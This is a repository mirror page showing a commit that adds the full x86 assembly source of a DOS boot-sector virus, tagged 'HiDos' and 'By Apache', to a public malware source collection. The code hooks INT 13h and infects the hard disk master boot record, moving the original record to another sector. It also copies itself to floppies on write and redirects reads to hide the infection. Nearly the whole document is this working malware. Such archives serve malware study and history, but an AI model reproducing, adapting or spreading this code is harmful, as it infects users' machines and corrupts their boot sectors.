mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 07:49:24 +00:00
Add files via upload
This commit is contained in:
@@ -0,0 +1,213 @@
|
||||
NAME boot
|
||||
PAGE 55,132
|
||||
TITLE FILE UTIL
|
||||
|
||||
|
||||
|
||||
|
||||
code segment
|
||||
|
||||
ASSUME CS:CODE,DS:CODE,ES:CODE
|
||||
|
||||
org 100h
|
||||
|
||||
main: jmp over
|
||||
db '['
|
||||
id db 'HiDos]',0
|
||||
by db 'By Apache',0
|
||||
over: xor ax,ax
|
||||
mov ds,ax
|
||||
cli
|
||||
mov ss,ax
|
||||
mov sp,7c00h
|
||||
sti
|
||||
mov ax,ds:[004eh]
|
||||
mov word ptr ds:[int13+7b02h],ax
|
||||
mov ax,ds:[004ch]
|
||||
mov word ptr ds:[int13+7b00h],ax
|
||||
mov ax,ds:[0413h]
|
||||
dec ax
|
||||
dec ax
|
||||
mov ds:[0413h],ax
|
||||
mov cl,06h
|
||||
shl ax,cl
|
||||
mov es,ax
|
||||
mov word ptr ds:[bigj+7b02h],es
|
||||
mov ax,offset jumpt
|
||||
mov word ptr ds:[bigj+7b00h],ax
|
||||
mov cx,0400h
|
||||
push cs
|
||||
pop ds
|
||||
mov si,7c00h
|
||||
mov di,0100h
|
||||
cld
|
||||
repz
|
||||
movsb
|
||||
push cs
|
||||
pop ds
|
||||
jmp cs:[bigj+7b00h]
|
||||
|
||||
jumpt: push cs
|
||||
pop ds
|
||||
mov si,offset drive
|
||||
cmp byte ptr ds:[si],80h
|
||||
jz hdone
|
||||
mov bx,0300h
|
||||
mov cx,0001h
|
||||
mov dx,0080h
|
||||
push cs
|
||||
pop es
|
||||
call hdread
|
||||
cmp ds:[0304h],'iH'
|
||||
jz hdone
|
||||
mov bx,0300h
|
||||
mov cx,0007h
|
||||
mov dx,0080h
|
||||
call hdwrit
|
||||
mov si,04beh
|
||||
mov di,02beh
|
||||
mov cx,0042h
|
||||
cld
|
||||
repz
|
||||
movsb
|
||||
mov byte ptr ds:[drive],80h
|
||||
mov bx,0100h
|
||||
mov cx,0001h
|
||||
mov dx,0080h
|
||||
call hdwrit
|
||||
mov byte ptr ds:[drive],00h
|
||||
|
||||
hdone: xor ax,ax
|
||||
mov word ptr cs:[boot+2],ax
|
||||
mov es,ax
|
||||
push cs
|
||||
pop ds
|
||||
mov ax,0201h
|
||||
mov bx,7c00h
|
||||
mov word ptr ds:[boot],bx
|
||||
mov si,offset drive
|
||||
cmp byte ptr ds:[si],80h
|
||||
jz hload
|
||||
mov cx,0003h
|
||||
mov dx,0100h
|
||||
jmp fload
|
||||
hload: mov cx,0007h
|
||||
mov dx,0080h
|
||||
fload: mov di,'rv'
|
||||
int 13h
|
||||
mov si,offset drive
|
||||
mov byte ptr cs:[si],00h
|
||||
xor ax,ax
|
||||
mov es,ax
|
||||
mov ds,ax
|
||||
mov ax,offset nint13
|
||||
mov ds:[004ch],ax
|
||||
mov ds:[004eh],cs
|
||||
push cs
|
||||
pop ds
|
||||
jmp cs:[boot]
|
||||
|
||||
hdwrit: mov ax,0301h
|
||||
mov di,'rv'
|
||||
jmp xx4
|
||||
hdread: mov ax,0201h
|
||||
mov di,'rv'
|
||||
xx4: int 13h
|
||||
ret
|
||||
|
||||
nint13: cmp di,'rv'
|
||||
jz iv13
|
||||
cmp ah,02h
|
||||
jnz wcheck
|
||||
cmp cl,01h
|
||||
jnz wcheck
|
||||
cmp dh,00h
|
||||
jnz wcheck
|
||||
cmp dl,80h
|
||||
jz check1
|
||||
cmp dl,00h
|
||||
jnz wcheck
|
||||
check1: push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push ds
|
||||
push es
|
||||
push di
|
||||
mov bx,0300h
|
||||
push cs
|
||||
pop es
|
||||
call hdread
|
||||
mov si,offset [id+0200h]
|
||||
cmp es:[si],'iH'
|
||||
jz redirect
|
||||
jmp iflopd
|
||||
redirect: cmp dl,80h
|
||||
jnz rdirfl
|
||||
pop di
|
||||
pop es
|
||||
pop ds
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
mov cx,0007h
|
||||
jmp a13
|
||||
|
||||
rdirfl: pop di
|
||||
pop es
|
||||
pop ds
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
mov cx,0003h
|
||||
mov dx,0100h
|
||||
a13: mov ax,0201h
|
||||
iv13: jmp v13
|
||||
|
||||
|
||||
wcheck: cmp ah,03h
|
||||
jnz v13
|
||||
cmp dl,00h
|
||||
jnz v13
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push ds
|
||||
push es
|
||||
push di
|
||||
push cs
|
||||
pop es
|
||||
mov bx,0300h
|
||||
mov cx,0001h
|
||||
xor dx,dx
|
||||
call hdread
|
||||
mov si,offset [id+0200h]
|
||||
cmp es:[si],'iH'
|
||||
jz iflopd
|
||||
mov cx,0003h
|
||||
mov dx,0100h
|
||||
mov bx,0300h
|
||||
call hdwrit
|
||||
mov bx,0100h
|
||||
xor dx,dx
|
||||
mov cx,0001h
|
||||
call hdwrit
|
||||
iflopd: pop di
|
||||
pop es
|
||||
pop ds
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
v13: db 0eah
|
||||
int13 dd 0h
|
||||
drive db 0h
|
||||
bigj dd 0h
|
||||
boot dd 0h
|
||||
|
||||
code ends
|
||||
|
||||
end main
|
||||
Reference in New Issue
Block a user